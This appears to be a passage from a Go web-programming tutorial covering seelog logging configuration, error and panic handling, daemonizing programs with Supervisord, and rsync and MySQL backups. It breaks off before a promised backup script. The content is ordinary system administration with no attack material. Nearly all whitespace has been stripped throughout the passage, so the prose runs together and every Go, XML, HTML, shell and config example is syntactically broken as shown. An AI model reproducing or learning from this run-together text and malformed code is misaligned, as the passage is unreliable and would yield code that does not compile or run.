however.Therearemanythirdpartyloggingtoolsthatwecanusetosupplementitifyourneedsaremoresophisticated(toolssimilartolog4jandlog4cpp,ifyou'veeverhadtodealwithlogginginJavaorC++).Apopularandfullyfeatured,open-sourceloggingtoolinGoistheseelogloggingframework.Let'stakealookathowwecanuseseelogtoperformlogginginourGoapplications.

Introductiontoseelog

SeelogisaloggingframeworkforGothatprovidessomesimplefunctionalityforimplementingloggingtaskssuchasfilteringandformatting.Itsmainfeaturesareasfollows:

DynamicconfigurationviaXML;youcanloadconfigurationparametersdynamicallywithoutrecompilingyourprogramSupportshotupdates,theabilitytodynamicallychangetheconfigurationwithouttheneedtorestarttheapplicationSupportsmulti-outputstreamsthatcansimultaneouslypipelogoutputtomultiplestreams,suchasafilestream,networkflow,etc.

Supportfordifferentlogoutputs

CommandlineoutputFileOutputCachedoutputSupportlogrotateSMTPMail

Theaboveisonlyapartiallistofseelog'sfeatures.Tofullytakeadvantageofallofseelog'sfunctionality,havealookatitsofficialwikiwhichthoroughlydocumentswhatyoucandowithit.Let'sseehowwe'duseseeloginourprojects:

Firstinstallseelog:

goget-ugithub.com/cihub/seelog

Thenlet'swriteasimpleexample:

packagemain

importlog"github.com/cihub/seelog"

funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}

Compileandruntheprogram.IfyouseeaHellofromseeloginyourapplicationlog,seeloghasbeensuccessfullyinstalledandisrunningoperatingnormally.

Customlogprocessingwithseelog

Seelogsupportscustomlogprocessing.Thefollowingcodesnippetisbasedontheitscustomlogprocessingpartofitspackage:

packagelogs

import("errors""fmt"seelog"github.com/cihub/seelog""io")

varLoggerseelog.LoggerInterface

funcloadAppConfig(){appConfig:=`<seelogminlevel="warn"><outputsformatid="common">

<rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}

funcinit(){DisableLog()loadAppConfig()}

//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled}

//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.

funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger

}

Theaboveimplementsthethreemainfunctions:

DisableLog

InitializesaglobalvariableLoggerwithseelogdisabled,mainlyinordertopreventtheloggerfrombeingrepeatedlyinitialized

LoadAppConfig

Initializestheconfigurationsettingsofseelogaccordingtoaconfigurationfile.Inourexamplewearereadingtheconfigurationfromanin-memorystring,butofcourse,youcanreaditfromanXMLfilealso.Insidetheconfiguration,wesetupthefollowingparameters:

Seelog

Theminlevelparameterisoptional.Ifconfigured,logginglevelswhicharegreaterthanorequaltothespecifiedlevelwillberecorded.Theoptionalmaxlevelparameterissimilarlyusedtoconfigurethemaximumloggingleveldesired.

Outputs

Configurestheoutputdestination.Inourparticularcase,wechannelourloggingdataintotwooutputdestinations.Thefirstisarollinglogfilewherewecontinuouslysavethemostrecentwindowofloggingdata.Theseconddestinationisafilteredlogwhichrecordsonlycriticallevelerrors.Weadditionallyconfigureittoalertusviaemailwhenthesetypesoferrorsoccur.

Formats

Definesthevariousloggingformats.Youcanusecustomformatting,orpredefinedformatting-afulllistofpredefinedformatscanbefoundonseelog'swiki

UseLogger

Setthecurrentloggerasourlogprocessor

Above,we'vedefinedandconfiguredacustomlogprocessingpackage.Thefollowingcodedemonstrateshowwe'duseit:

packagemain

import("net/http""project/logs""project/configs""project/routes")

funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}

Emailnotifications

Theaboveexampleexplainshowtosetupemailnotificationswithseelog.Asyoucansee,weusedthefollowingsmtpconfiguration:

<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>

Wesettheformatofouralertmessagesthroughthecriticalemailconfiguration,providingourmailserverparameterstobeabletoreceivethem.Wecanalsoconfigureournotifiertosendoutalertstoadditional

usersusingtherecipientconfiguration.It'sasimplematterofaddingonelineforeachadditionalrecipient.

Totestwhetherornotthiscodeisworkingproperly,youcanaddafakecriticalmessagetoyourapplicationlikeso:

logs.Logger.Critical("testCriticalmessage")

Don'tforgettodeleteitonceyou'redonetesting,orwhenyourapplicationgoeslive,yourinboxmaybefloodedwithemailnotifications.

Now,wheneverourapplicationlogsacriticalmessagewhileonline,youandyourspecifiedrecipientswillreceiveanotificationemail.Youandyourteamcanthenprocessandremedythesituationinatimelymanner.

Usingapplicationlogs

Whenitcomestologs,eachapplication'suse-casemayvary.Forexample,somepeopleuselogsfordataanalysispurposes,othersforperformanceoptimization.Somelogsareusedtoanalyzeuserbehaviorandhowpeopleinteractwithyourwebsite.Ofcourse,therearelogswhicharesimplyusedtorecordapplicationeventsasauxiliarydataforfindingproblems.

Asanexample,let'ssayweneedtotrackuserattemptsatloggingintooursystem.Thisinvolvesrecordingbothsuccessfulandunsuccessfulloginattemptsintoourlog.We'dtypicallyusethe"Info"logleveltorecordthesetypesofevents,ratherthansomethingmoreseriouslike"warn".Ifyou'reusingalinux-typesystem,youcanconvenientlyviewallunsuccessfulloginattemptsfromthelogusingthegrepcommandlikeso:

#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword

Thisway,wecaneasilyfindtheappropriateinformationinourapplicationlog,whichcanhelpustoperformstatisticalanalysisifneeded.Inaddition,wealsoneedtoconsiderthesizeoflogsgeneratedbyhigh-trafficwebapplications.Theselogscansometimesgrowunpredictably.Toresolvethisissue,wecansetseelogupwiththelogrotateconfigurationtoensurethatsinglelogfilesdonotconsumeexcessivediskspace.

Summary

Inthissection,we'velearnedthebasicsofseelogandhowtobuildacustomloggingsystemwithit.Wesawthatwecaneasilyconfigureseelogintoaspowerfulalogprocessingsystemasweneed,usingittosupplyuswithreliablesourcesofdataforanalysis.Throughloganalysis,wecanoptimizeoursystemandeasilylocatethesourcesofproblemswhentheyarise.Inaddition,seelogshipswithvariousdefaultloglevels.Wecanusetheminlevelconfigurationinconjunctionwithalogleveltoeasilysetuptestsorsendautomatednotificationmessages.

Links

DirectoryPrevioussection:DeploymentandmaintenanceNextsection:Errorsandcrashes

12.2ErrorsandcrashesOnceourwebapplicationsgolive,it'slikelythattherewillbesomeunforeseenerrors.Afewexampleofcommonerrorsthatmayoccurinthecourseofyourapplication'sdailyoperations,arelistedbelow:

DatabaseErrors:errorsrelatedtoaccessingthedatabaseserverorstoreddata.Thefollowingaresomedatabaseerrorswhichyoumayencounter:

ConnectionErrors:indicatesthataconnectiontothenetworkdatabaseservercouldnotbeestablished,asuppliedusernameorpasswordisincorrect,orthatthedatabasedoesnotexist.

QueryErrors:theillegalorincorrectuseofanSQLquerycanraiseanerrorsuchasthis.Thesetypesoferrorscanbeavoidedthroughrigoroustesting.DataErrors:databaseconstraintviolationsuchasattemptingtoinsertafieldwithaduplicateprimarykey.Thesetypesoferrorscanalsobeavoidedthroughrigoroustestingbeforedeployingyourapplicationintoaproductionenvironment.

ApplicationRuntimeErrors:Thesetypesoferrorsvarygreatly,coveringalmostallerrorcodeswhichmayappearduringruntime.Possibleapplicationerrorsareasfollows:

Filesystemandpermissionerrors:whentheapplicationattemptstoreadafilewhichdoesnotexistordoesnothavepermissiontoread,orwhenitattemptstowritetoafilewhichitisnotallowedtowriteto,errorsofthiscategorywilloccur.Afilesystemerrorwillalsooccurifanapplicationreadsafilewithanunexpectedformat,forinstanceaconfigurationfilethatshouldbeintheINIformatbutisinsteadstructuredasJSON.

Third-partyapplicationerrors:Theseerrorsoccurinapplicationswhichinterfacewithotherthird-partyapplicationsorservices.Forinstance,ifanapplicationpublishestweetsaftermakingcallstoTwitter'sAPI,it'sobviousthatTwitter'sservicesmustbeupandrunninginorderforourapplicationtocompleteitstask.Wemustalsoensurethatwesupplythesethird-partyinterfaceswiththeappropriateparametersinourcalls,orelsetheywillalsoreturnerrors.

HTTPerrors:Theseerrorsvarygreatly,andarebasedonuserrequests.Themostcommonisthe404NotFounderror,whichariseswhenusersattempttoaccessnon-existentresourcesinyourapplication.AnothercommonHTTPerroristhe401Unauthorizederror(authenticationisrequiredtoaccesstherequestedresource),403Forbiddenerror(users

arealtogetherrefusedaccesstothisresource)and503ServiceUnavailableerrors(indicativeofaninternalprogramerror).

Operatingsystemerrors:Thesesortsoferrorsoccurattheoperatingsystemlayerandcanhappenwhenoperatingsystemresourcesareover-allocated,leadingtocrashesandsysteminstability.Anothercommonoccurrenceatthisleveliswhentheoperatingsystemdiskgetsfilledtocapacity,makingitimpossibletowriteto.Thisnaturallyproducesinmanyerrors.Networkerrors:networkerrorstypicallycomeintwoflavors:oneiswhenusersissuerequeststotheapplicationandthenetworkdisconnects,thusdisruptingitsprocessingandresponsephase.Theseerrorsdonotcausetheapplicationtocrash,butcanaffectuseraccesstothewebsite;theotheriswhenapplicationsattemptstoreaddatafromdisconnectednetworks,causingreadfailures.Judicioustestingisparticularlyimportantwhenmakingnetworkcallstoavoidsuchproblems,whichcancauseyourapplicationtocrash.

Errorhandlinggoals

Beforeimplementingerrorhandling,wemustbeclearaboutwhatgoalswearetryingtoachieve.Ingeneral,errorhandlingsystemsshouldaccomplishthefollowing:

Usererrornotifications:whensystemorusererrorsoccur,causingcurrentuserrequeststofailtocomplete,affectedusersshouldbenotifiedoftheproblem.Forexample,forerrorscausebyuserrequests,weshowaunifiederrorpage(404.html).Whenasystemerroroccurs,weuseacustomerrorpagetoprovidefeedbackforusersastowhathappened-forinstance,thatthesystemistemporarilyunavailable(error.html).Logerrors:whensystemerrorsoccur(ingeneral,whenfunctionsreturnnon-nilerrorvariables),aloggingsystemsuchastheonedescribedearliershouldbeusedtorecordtheeventintoalogfilefile.Ifitisafatalerror,thesystemadministratorshouldalsobenotifiedviae-mail.In

generalhowever,most404errorsdonotwarrantthesendingofemailnotifications;recordingtheeventintoalogforlaterscrutinyisoftenadequate.Rollbackthecurrentrequestoperation:Ifauserrequestcausesaservererror,thenweneedtobeabletorollbackthecurrentoperation.Let'slookatanexample:asystemsavesauser-submittedformtoitsdatabase,thensubmitsthisdatatoathird-partyserver.However,thethird-partyserverdisconnectsandweareunabletoestablishaconnectionwithit,whichresultsinanerror.Inthiscase,thepreviouslystoredformdatashouldbedeletedfromthedatabase(voidshouldbeinformed),andtheapplicationshouldinformtheuserofthesystemerror.Ensurethattheapplicationcanrecoverfromerrors:weknowthatit'sdifficultforanyprogramtoguarantee100%uptime,soweneedtomakeprovisionforscenarioswhereourprogramsfail.Forinstanceifourprogramcrashes,wefirstneedtologtheerror,notifytherelevantpartiesinvolved,thenimmediatelygettheprogramupandrunningagain.Thisway,ourapplicationcancontinuetoprovideserviceswhileasystemadministratorinvestigatesandfixesthecauseoftheproblem.

Howtohandleerrors

Inchapter11,weaddressedtheprocessoferrorhandlinganddesignusingsomeexamples.Let'sgointotheseexamplesinabitmoredetail,andseesomeothererrorhandlingscenarios:

Notifytheuseroferrors:

Whenanerroroccurs,wecanpresenttheuseraccessingthepagewithtwokindsoferrorspages:404.htmlanderror.html.Hereisanexampleofwhatthesourcecodeofanerrorpagemightlooklike:

<htmllang="en">

<head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"

><title>PageNotFound</title><metaname="viewport"content="width=device-width,initial-scale=1.0"></head>

<body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body>

</html>

Anotherexample:

<htmllang="en">

<head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title>systemerrorpage</title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head>

<body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>systemistemporarilyunavailable!</h1><p>{{.ErrorInfo}}</p>

</div></div><!--/span--></div></div></body>

</html>

404error-handlinglogic,intheoccurrenceofasystemerror:

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}

funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("pagenotfound")//errorloggingt,_=t.ParseFiles("tmpl/404.html",nil)//parsethetemplatefileErrorInfo:="Filenotfound"//Getthecurrentuserinformationt.Execute(w,ErrorInfo)//executethetemplatemergeroperation}

funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("SystemError")//systemerrortriggeredCritical,thenloggingwillnotonlysendamessaget,_=t.ParseFiles("tmpl/error.html",nil)//parsethetemplatefileErrorInfo:="systemistemporarilyunavailable"//Getthecurrentuserinformationt.Execute(w,ErrorInfo)//executethetemplatemergeroperation}

Howtohandleexceptions

Weknowthatmanyotherlanguageshavetry...catchkeywordsusedtocapturetheunusualcircumstances,butinfact,manyerrorscanbeexpectedtooccurwithouttheneedforexceptionhandling,andcanbeinsteadtreatedasanerrors.It'sforthisreasonthatGofunctionsreturnerrorsbydesign.Forexample,ifafileisnotfoundorifos.Openreturnsanerror,thesefunctionswillnotpanic;asanotherexample,ifanetworkconnectiongetsdisconnectedduringadatawriteoperation,thenet.ConnfamilyofWritefunctionswillreturnerrorsinsteadofpanicking.TheseerrorstatesaretobeexpectedinmostapplicationsandGoparticularlymakesitexplicitwhenoperationsmightfailbyreturningerrorvariables.Lookingattheexampleabove,wecanclearlyseetheerrorsthatcanbeexpectedtooccur.

Thereare,however,caseswherepanicshouldbeused.Forinstanceinoperationswherefailureisalmostimpossible,orincertainsituationswherethereisnowaytoreturnanerrorandtheoperationcannotcontinue,panicshouldbeused.Takeforexampleaprogramthattriestoobtainthevalueofanarrayatx[j],buttheindexjisoutofbounds.Thispartofthecodewillcausetheprogramtopanic,aswillothercritical,unexpectederrorsofthisnature.Bydefault,panickingwillkillofftheoffendingprocess(goroutine),allowingthecodewhichdispatchedthegoroutineanopportunitytorecoverfromtheerror.Thisway,thefunctioninwhichtheerroroccurredaswellasallsubsequentcodeafteritwillnotcontinuetoexecute.Go'spanicwasdeliberatelydesignedwiththisbehaviorinmind,whichisdifferentthantypicalerrorhandling;panicisreallyjustexceptionhandling.Intheexamplebelow,weexpectthatUser[UID]willreturnausernamefromtheUserarray,buttheUIDthatweuseisoutofboundsandthrowsanexception.Ifwedonothavearecoverymechanismtodealwiththisimmediately,theprocesswillbekilled,andthepanicwillpropagateupthestackuntilourprogramfinallycrashes.Inorderforourapplicationtoberobustandresilienttothesekindsofruntimeerrors,weneedtoimplementrecoverymechanismsincertainplaces.

funcGetUser(uidint)(usernamestring){deferfunc(){

ifx:=recover();x!=nil{username=""}}()

username=User[uid]return}

Theabovedescribesthedifferencesbetweenerrorsandexceptions.So,whenitcomesdowntodevelopingourGoapplications,whendoweuseoneortheother?Therulesaresimple:ifyoudefineafunctionthatyouanticipatemightfail,thenreturnanerrorvariable.Whencallinganotherpackage'sfunction,ifitisimplementedwell,thereshouldbenoneedtoworrythatitwillpanicunlessatrueexceptionhasoccurred(whetherrecoverylogichasbeenimplementedornot).Panicandrecovershouldonlybeusedinternallyinsidepackagestodealwithspecialcaseswherethestateoftheprogramcannotbeguaranteed,orwhenaprogrammer'serrorhasoccurred.ExternallyfacingAPIsshouldexplicitlyreturnerrorvalues.

Summary

Thisissectionsummarizeshowwebapplicationsshouldhandlevariouserrorssuchasnetwork,databaseandoperatingsystemerrors,amongothers.We'veoutlineseveraltechniquestoeffectivelydealwithruntimeerrorssuchas:displayinguser-friendlyerrornotifications,rollingbackactions,logging,andalertingsystemadministrators.Finally,weexplainedhowtocorrectlyhandleerrorsandexceptions.Theconceptofanerrorisoftenconfusedwiththatofanexception,howeverinGo,thereisacleardistinctionbetweenthetwo.Forthisreason,we'vediscussedtheprinciplesofprocessingbotherrorsandexceptionsinwebapplications.

Links

DirectoryPrevioussection:Logs

Nextsection:Deployment

12.3DeploymentWhenourwebapplicationisfinallyproductionready,whatarethestepsnecessarytogetitdeployed?InGo,anexecutablefileencapsulatingourapplicationiscreatedafterwecompileourprograms.ProgramswritteninCcanrunperfectlyasbackgrounddaemonprocesses,howeverGodoesnotyethavenativesupportfordaemons.ThegoodnewsisthatwecanusethirdpartytoolstohelpusmanagethedeploymentofourGoapplications,examplesofwhichareSupervisord,upstartanddaemontools,amongothers.ThissectionwillintroduceyoutosomebasicsoftheSupervisordprocesscontrolsystem.

Daemons

Currently,Goprogramscannotcannotberunasdaemonprocesses(foradditionalinformation,seetheopenissueongithubhere).It'sdifficulttoforkexistingthreadsinGobecausethereisnowayofensuringaconsistentstateinallthreadsthathavebeenused.

Wecan,however,seemanyattemptsatimplementingdaemonsonline,suchasinthetwofollowingways;

MarGooneimplementationoftheconceptofusingCommandtodeployapplications.Ifyoureallywanttodaemonizeyourapplications,itisrecommendedtousecodesimilartothefollowing:

d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()

iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}

Anothersolutionistousesyscall,butthissolutionisnotperfect:

packagemain

import("log""os""syscall")

funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr

darwin:=syscall.OS=="darwin"

//alreadyadaemonifsyscall.Getppid()==1{return0}

//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1

}

//failureifret2<0{os.Exit(-1)}

//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}

//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}

/*Changethefilemodemask*/_=syscall.Umask(0)

//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}

ifnochdir==0{os.Chdir("/")}

ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}

return0}

WhilethetwosolutionsaboveimplementdaemonizationinGo,IstillcannotrecommendthatyouuseeithermethodssincethereisnoofficialsupportfordaemonsinGo.Notwithstandingthisfact,thefirstoptionisthemorefeasibleone,andiscurrentlybeingusedbysomewell-knownopensourceprojectslikeskynetforimplementingdaemons.

Supervisord

Above,we'velookedattwoschemesthatarecommonlyusedtoimplementdaemonsinGo,howeverbothmethodslackofficialsupport.So,it'srecommendedthatyouuseathird-partytooltomanageapplicationdeployment.HerewetakealookattheSupervisordproject,implementedinPython,whichprovidesextensivetoolsforprocessmanagement.SupervisordwillhelpyoutodaemonizeyourGoapplications,alsoallowingyoutodothingslikestart,shutdownandrestartyourapplicationswithsomesimplecommands,amongmanyotheractions.Inaddition,Supervisordmanagedprocessescanautomaticallyrestartprocesseswhichhavecrashed,ensuringthatprogramscanrecoverfromanyinterruptions.

Asanaside,IrecentlyfellintoacommonpitfallwhiletryingtodeployanapplicationusingSupervisord.AllapplicationsdeployedusingSupervisordarebornoutoftheSupervisordparentprocess.Whenyouchangeanoperatingsystemfiledescriptor,don'tforgettocompletelyrestartSupervisord-simplyrestartingtheapplicationitismanagingwillnotsuffice.WhenIfirstdeployedanapplicationwithSupervisord,Imodifiedthedefaultfiledescriptorfield,changingthedefaultnumberfrom1024to100,000andthenrestartingmyapplication.Inreality,Supervisordcontinuedusingonly1024filedescriptorstomanageallofmyapplication'sprocesses.Upondeployingmyapplication,theloggerbeganreportingalackoffiledescriptors!Itwasalongprocessfindingandfixingthismistake,sobeware!

InstallingSupervisord

Supervisordcaneasilybeinstalledusingsudoeasy_installsupervisor.Ofcourse,thereisalsotheoptionofdirectlydownloadingitfromitsofficialwebsite,uncompressingit,goingintothefolderthenrunningsetup.pyinstalltoinstallitmanually.

Ifyou'regoingtheeasy_installroute,thenyouneedtofirstinstallsetuptools

Gotohttp://pypi.python.org/pypi/setuptools#filesanddownloadtheappropriatefile,dependingonyoursystem'spythonversion.Enterthedirectoryandexecuteshsetuptoolsxxxx.egg.Whenthenscriptisdone,you'llbeabletousetheeasy_installcommandtoinstallSupervisord.

ConfiguringSupervisord

Supervisord'sdefaultconfigurationfilepathis/etc/supervisord.conf,andcanbemodifiedusingatexteditor.Thefollowingiswhatatypicalconfigurationfilemaylooklike:

;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root

[inet_http_server]#Webmanagementinterfacesettingsport=9001username=adminpassword=yourpassword

[supervisorctl];Must'unix_http_server'matchthesettingsinsideserverurl=unix:///var/run/supervisord.sock

[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)

logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)

[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main_rpcinterface;Managetheconfigurationofasingleprocess,youcanaddmultipleprogram[program:blogdemon]command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log

Supervisordmanagement

Afterinstallationiscomplete,twoSupervisordcommandsbecomeavailabletoyouonthecommandline:supervisorandsupervisorctl.Thecommandsareasfollows:

supervisord:initialstartup,launch,andprocessconfigurationmanagement.supervisorctlstopprogramxxx:stoptheprogramxxxprocess,whereprogramxxxisavalueconfiguredinyoursupervisord.conffile.Forinstance,ifyouhavesomethinglike[program:blogdemon]configured,

youwouldusethesupervisorctlstopblogdemoncommandtokilltheprocess.supervisorctlstartprogramxxx:starttheprogramxxxprocesssupervisorctlrestartprogramxxx:restarttheprogramxxxprocesssupervisorctlstopall:stopallprocesses;note:start,restart,stopwillnotloadthelatestconfigurationfiles.supervisorctlreload:loadthelatestconfigurationfile,launchthem,andmanageallprocesseswiththenewconfiguration.

Summary

Inthissection,wedescribedhowtoimplementdaemonsinGo.WelearnedthatGodoesnotnativelysupportdaemons,andthatweneedtousethird-partytoolstohelpusmanagethem.OnesuchtoolistheSupervisordprocesscontrolsystemwhichwecanusetoeasilydeployandmanageourGoprograms.

Links

DirectoryPrevioussection:ErrorsandcrashesNextsection:Backupandrecovery

12.4BackupandrecoveryInthissection,we'lldiscussanotheraspectofapplicationmanagement:databackupandrecoveryonproductionservers.Weoftenencountersituationswhereproductionserversdon'tbehaveasasweexpectthemto.Servernetworkoutages,harddrivemalfunctions,operatingsystemcrashesandothersimilareventscancausedatabasestobecomeunavailable.Theneedtorecoverfromthesetypesofeventshasledtotheemergenceofmanycoldstandby/hotstandbytoolsthatcanhelptofacilitatedisasterrecovery

remotely.Inthissection,we'llexplainhowtobackupdeployedapplicationsinadditiontobackingupandrestoringanyMySQLandRedisdatabasesyoumightbeusing.

ApplicationBackup

Inmostclusterenvironments,webapplicationsdonotneedtobebackedupsincetheyareactuallycopiesofcodefromourlocaldevelopmentenvironment,orfromaversioncontrolsystem.Inmanycaseshowever,weneedtobackupdatawhichhasbeensuppliedbytheusersofoursite.Forinstance,whensitesrequireuserstouploadfiles,weneedtobeabletobackupanyfilesthathavebeenuploadedbyuserstoourwebsite.Thecurrentapproachforprovidingthiskindofredundancyistoutilizeso-calledcloudstorage,whereuserfilesandotherrelatedresourcesarepersistedintoahighlyavailablenetworkofservers.Ifoursystemcrashes,aslongasuserdatahasbeenpersistedontothecloud,wecanatleastbesurethatnodatawillbelost.

Butwhataboutthecaseswherewedidnotbackupourdatatoacloudservice,orwherecloudstoragewasnotanoption?Howdowebackupdatafromourwebapplicationsthen?Here,wedescribeatoolcalledrysnc,whichcanbecommonlyfoundonunix-likesystems.Rsyncisatoolwhichcanbeusedtosynchronizefilesresidingondifferentsystems,andaperfectuse-caseforthisfunctionalityistokeepourwebsitebackedup.

Note:CwrsyncisanimplementationofrsyncfortheWindowsenvironment

Rsyncinstallation

Youcanfindthelatestversionofrsyncfromitsofficialwebsite.Ofcourse,becausersyncisveryusefulsoftware,manyLinuxdistributionswillalreadyhaveitinstalledbydefault.

PackageInstallation:

#sudoapt-getinstallrsync;Note:debian,ubuntuandotheronlineinstallationmethods;#yuminstallrsync;Note:Fedora,Redhat,CentOSandotheronlineinstallationmethods;#rpm-ivhrsync;Note:Fedora,Redhat,CentOSandotherrpmpackageinstallationmethods;

FortheotherLinuxdistributions,pleaseusetheappropriatepackagemanagementmethodstoinstallit.Alternatively,youcanbuildityourselffromthesource:

tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure-prefix=/usr;make;makeinstall

Note:Ifwanttocompileandinstallthersyncfromitssource,youhavetoinstallgcccompilertoolssuchasjob.

Note:Beforeusingsourcepackagescompiledandinstalled,youhavetoinstallgcccompilertoolssuchasjob

RsyncConfiguration

Rsynccanbeconfiguredfromthreemainconfigurationfiles:rsyncd.confwhichisthemainconfigurationfile,rsyncd.secretswhichholdspasswords,andrsyncd.motdwhichcontainsserverinformation.

Youcanrefertotheofficialdocumentationonrsync'swebsiteformoredetailedexplanations,butherewewillsimplyintroducethebasicsofsettinguprsync:.

Startinganrsyncdaemonserver-side:

#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf

the--daemonparameterisforrunningrsyncinservermode.Makethis

thedefaultboot-timesettingbyjoiningittotherc.localfile:

echo'rsync--daemon'>>/etc/rc.d/rc.local

Setupanrsyncusernameandpassword,makingsurethatit'sownedonlybyroot,sothatlocalunauthorizedusersorexploitsdonothaveaccesstoit.Ifthesepermissionsarenotsetcorrectly,rsyncmaynotboot:

echo'YourUsername:YourPassword'>/etc/rsyncd.secretschmod600/etc/rsyncd.secrets

Clientsynchronization:

Clientscansynchronizeserverfileswiththefollowingcommand:

rsync-avzP--delete--password-file=rsyncd.secretsusername@192.168.145.5::www/var/rsync/backup

Let'sbreakthisdownintoafewkeypoints:

1. -avzParesomecommonoptions.Usersync--helptoreviewwhatthesedo.

2. --deletedeletesextraneousfilesonthereceivingside.Forexample,iffilesaredeletedonthesendingside,thenexttimethetwomachinesaresynchronized,thereceivingsideswillautomaticallydeletethecorrespondingfiles.

3. --password-filespecifiesapasswordfileforaccessinganrsyncdaemon.Ontheclientside,thisistypicallytheclient/etc/rsyncd.secretsfile,andontheserverside,it's/etc/rsyncd.secrets.WhenusingsomethinglikeCrontoautomatersync,youwon'tneedtomanuallyenterapassword.

4. usernamespecifiestheusernametobeusedinconjunctionwiththeserver-side/etc/rsyncd.secretspassword

5. 192.168.145.5istheIPaddressoftheserver

6. ::www(notethedoublecolons),specifiescontactinganrsyncdaemondirectlyviaTCPforsynchronizingthewwwmoduleaccordingtotheserver-sideconfigurationslocatedin/etc/rsyncd.conf.Whenonlyasinglecolonisused,thersyncdaemonisnotcontacteddirectly;instead,aremote-shellprogramsuchassshisusedasthetransport.

Inordertoperiodicallysynchronizefiles,youcansetupacrontabfilethatwillrunrsynccommandsasoftenasneeded.Ofcourse,userscanvarythefrequencyofsynchronizationaccordingtohowcriticalitistokeepcertaindirectoriesorfilesuptodate.

MySQLbackup

MySQLdatabasesarestillthemainstream,go-tosolutionformostwebapplications.ThetwomostcommonmethodsofbackingupMySQLdatabasesarehotbackupsandcoldbackups.Hotbackupsareusuallyusedwithsystemssetupinamaster/slaveconfigurationtobackuplivedata(themaster/slavesynchronizationmodeistypicallyusedforseparatingdatabaseread/writeoperations,butcanalsobeusedforbackinguplivedata).Thereisalotofinformationavailableonlinedetailingthevariouswaysonecanimplementthistypeofscheme.Forcoldbackups,incomingdataisnotbackedupinreal-timeasisthecasewithhotbackups.Instead,databackupsareperformedperiodically.Thisway,ifthesystemfails,theintegrityofdatabeforeacertainperiodoftimecanstillbeguaranteed.Forinstance,incaseswhereasystemmalfunctioncausesdatatobelostandthemaster/slavemodelisunabletoretrieveit,coldbackupscanbeusedforapartialrestoration.

Ashellscriptisgenerallyusedtoimplementregularcoldbackupsofdatabases,executingsynchronizationtasksusingrsyncinanon-localmode.

ThefollowingisanexampleofabackupscriptthatperformsscheduledbackupsforaMySQLdatabase.Weusethemysqldumpprogramwhichallowsustoexportthedatabasetoafile.

